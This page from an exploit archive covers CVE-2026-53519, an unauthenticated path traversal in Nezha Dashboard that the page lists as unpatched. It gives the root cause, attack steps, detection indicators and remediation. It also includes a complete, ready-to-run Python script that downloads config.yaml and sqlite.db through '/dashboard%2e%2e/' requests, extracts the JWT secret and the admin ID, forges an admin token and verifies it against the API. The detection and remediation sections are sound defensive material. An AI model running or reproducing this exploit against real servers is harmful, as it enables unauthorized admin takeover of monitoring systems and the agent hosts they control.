PoC Archive PoC Archive
Not disclosed (unauthenticated path traversal leading to full admin JWT forgery) CVE-2026-53519 (GHSA-5c25-7vpj-9mqh) unpatched

Nezha Dashboard Path Traversal → JWT Secret Leak → Token Forgery — CVE-2026-53519

by tar-xz · 2026-07-05

Severity
Not disclosed (unauthenticated path traversal leading to full admin JWT forgery)
CVE
CVE-2026-53519 (GHSA-5c25-7vpj-9mqh)
Category
web
Affected product
Nezha Dashboard (monitoring/agent management panel)
Affected versions
Versions affected by GHSA-5c25-7vpj-9mqh (exact version range not specified in source; see advisory)
Disclosed
2026-07-05
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-05
Last UpdatedUnknown
Author / Researchertar-xz
CVE / AdvisoryCVE-2026-53519 (GHSA-5c25-7vpj-9mqh)
Categoryweb
SeverityNot disclosed (unauthenticated path traversal leading to full admin JWT forgery)
CVSS ScoreNot disclosed
StatusPoC
Tagsnezha, path-traversal, jwt-forgery, unauthenticated, config-disclosure, sqlite, privilege-escalation, cwe-22, cwe-347
RelatedN/A

Affected Target

FieldValue
Software / SystemNezha Dashboard (monitoring/agent management panel)
Versions AffectedVersions affected by GHSA-5c25-7vpj-9mqh (exact version range not specified in source; see advisory)
Language / PlatformPython 3 (standard library only: urllib, sqlite3, hmac, hashlib)
Authentication RequiredNo
Network Access RequiredYes

Summary

The Nezha Dashboard improperly normalizes its routing paths, allowing a crafted request such as /dashboard../data/config.yaml to escape the intended static-file root and read arbitrary files served by the dashboard process. The PoC uses this path traversal twice: first to fetch config.yaml and extract the jwt_secret_key, then to fetch sqlite.db and pull an administrative user ID out of the local database. With the leaked secret and a valid user ID, the script forges a valid HS256 JWT and uses it to authenticate to the dashboard’s API as that user, demonstrating full unauthenticated-to-admin privilege escalation with control over the monitoring dashboard and its connected agent nodes.


Vulnerability Details

Root Cause

Improper path normalization in the Nezha Dashboard’s request routing allows traversal sequences like /dashboard../ (and URL-encoded variants such as /dashboard%2e%2e/) to reach files outside the intended web root, exposing internal configuration and database files (CWE-22: Path Traversal). Because the leaked config.yaml contains the JWT signing secret (jwt_secret_key), and JWTs are validated only by HMAC signature (CWE-347: Improper Verification of Cryptographic Signature intent — trusting a leaked static secret), any party who can read that file can forge arbitrary valid session tokens.

Attack Vector

  1. Send GET /dashboard%2e%2e/data/config.yaml to the target and extract the jwt_secret_key value via regex.
  2. Send GET /dashboard%2e%2e/data/sqlite.db to download the dashboard’s local SQLite database.
  3. Query the downloaded database for the lowest id in the users table (typically the first/admin account).
  4. Construct an HS256 JWT with user_id, ip, exp, and orig_iat claims, signing it with the leaked jwt_secret_key.
  5. Present the forged JWT as a Bearer token to GET /api/v1/profile (or other authenticated endpoints) to confirm authenticated access as the target user.

Impact

Complete unauthenticated compromise of the Nezha Dashboard: an attacker gains a valid, forged administrative session token, granting full control of the monitoring dashboard and any agent nodes it manages, without needing any credentials.


Environment / Lab Setup

Target:   Nezha Dashboard instance vulnerable to GHSA-5c25-7vpj-9mqh, reachable over HTTP(S)
Attacker: Python 3 (stdlib only — no extra pip installs required)

Proof of Concept

PoC Script

See CVE-2026-53519.py in this folder. Trilingual documentation (README.md covered here; upstream README.zh-TW.md and README.zh-CN.md also included) accompanies the script.

1
2
3
python3 CVE-2026-53519.py <url> [jwt_secret] [user_id]

python3 CVE-2026-53519.py http://target.com

Run with only a target URL, the script automatically performs both path-traversal downloads (config.yaml, sqlite.db), extracts the JWT secret and an admin user ID, forges a token, and verifies it against /api/v1/profile, printing the forged JWT and the authenticated profile response. The jwt_secret and user_id arguments are optional overrides if those values are already known.


Detection & IOCs

GET /dashboard%2e%2e/data/config.yaml
GET /dashboard%2e%2e/data/sqlite.db

Signs of compromise:

  • HTTP requests with %2e%2e or literal ../ sequences appended to /dashboard paths
  • Unexpected downloads of config.yaml or sqlite.db by non-administrative clients
  • API access (e.g. /api/v1/profile) authenticated with JWTs not issued through the normal login flow, or logins from user IDs with no corresponding password-based authentication event

Remediation

ActionDetail
Primary fixUpgrade Nezha Dashboard to the version that fixes GHSA-5c25-7vpj-9mqh (proper path normalization / route sandboxing for the dashboard static handler)
Interim mitigationRotate jwt_secret_key immediately if exposure is suspected, restrict direct network access to the dashboard’s data directory, and add reverse-proxy rules to reject requests containing traversal sequences before they reach the application

References


Notes

Mirrored from https://github.com/tar-xz/CVE-2026-53519-PoC on 2026-07-05. LICENSE was excluded per archive convention; the trilingual README variants were kept as supplementary documentation alongside this catalog-standard README.

CVE-2026-53519.py
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
#!/usr/bin/env python3
# Nezha Dashboard Path Traversal & JWT Forgery PoC
# Usage: python3 exploit.py <url> [optional_secret] [optional_user_id]

import sys, os, re, json, time, hmac, hashlib, base64, sqlite3, urllib.request

def b64(data): 
    return base64.urlsafe_b64encode(data).rstrip(b"=").decode()

if len(sys.argv) < 2:
    print(f"Usage: python3 {sys.argv[0]} <url> [jwt_secret] [user_id]")
    sys.exit(1)

url = sys.argv[1].rstrip("/")
secret = sys.argv[2] if len(sys.argv) > 2 else None
uid = sys.argv[3] if len(sys.argv) > 3 else None

try:
    # Fetch Secret
    if not secret:
        print("[*] Downloading config.yaml via path traversal...")
        cfg = urllib.request.urlopen(f"{url}/dashboard%2e%2e/data/config.yaml", timeout=10).read()
        secret = re.search(rb'jwt_secret_key:\s*["\']?(.*?)["\']?(?:\r|\n|$)', cfg).group(1).decode()

    # Fetch User ID
    if not uid:
        print("[*] Downloading sqlite.db via path traversal...")
        db = urllib.request.urlopen(f"{url}/dashboard%2e%2e/data/sqlite.db", timeout=15).read()
        open("t.db", "wb").write(db)
        
        conn = sqlite3.connect("t.db")
        uid = str(conn.execute("SELECT id FROM users ORDER BY id LIMIT 1").fetchone()[0])
        conn.close()
        os.remove("t.db")

    print(f"[+] Secret: {secret} | Admin ID: {uid}")

    # Forge JWT
    now = int(time.time())
    h = b64(b'{"alg":"HS256","typ":"JWT"}')
    p = b64(json.dumps({"user_id": uid, "ip": "", "exp": now + 3600, "orig_iat": now}).encode())
    s = b64(hmac.new(secret.encode(), f"{h}.{p}".encode(), hashlib.sha256).digest())
    token = f"{h}.{p}.{s}"
    print(f"[+] Forged JWT:\n{token}\n\n[*] Verifying...")
    
    # Verify
    req = urllib.request.Request(f"{url}/api/v1/profile", headers={"Authorization": f"Bearer {token}"})
    res = urllib.request.urlopen(req, timeout=10)
    print(f"[+] Success! Authenticated as Admin.\n{res.read().decode()}")

except Exception as e:
    print(f"[-] Exploit failed: {e}")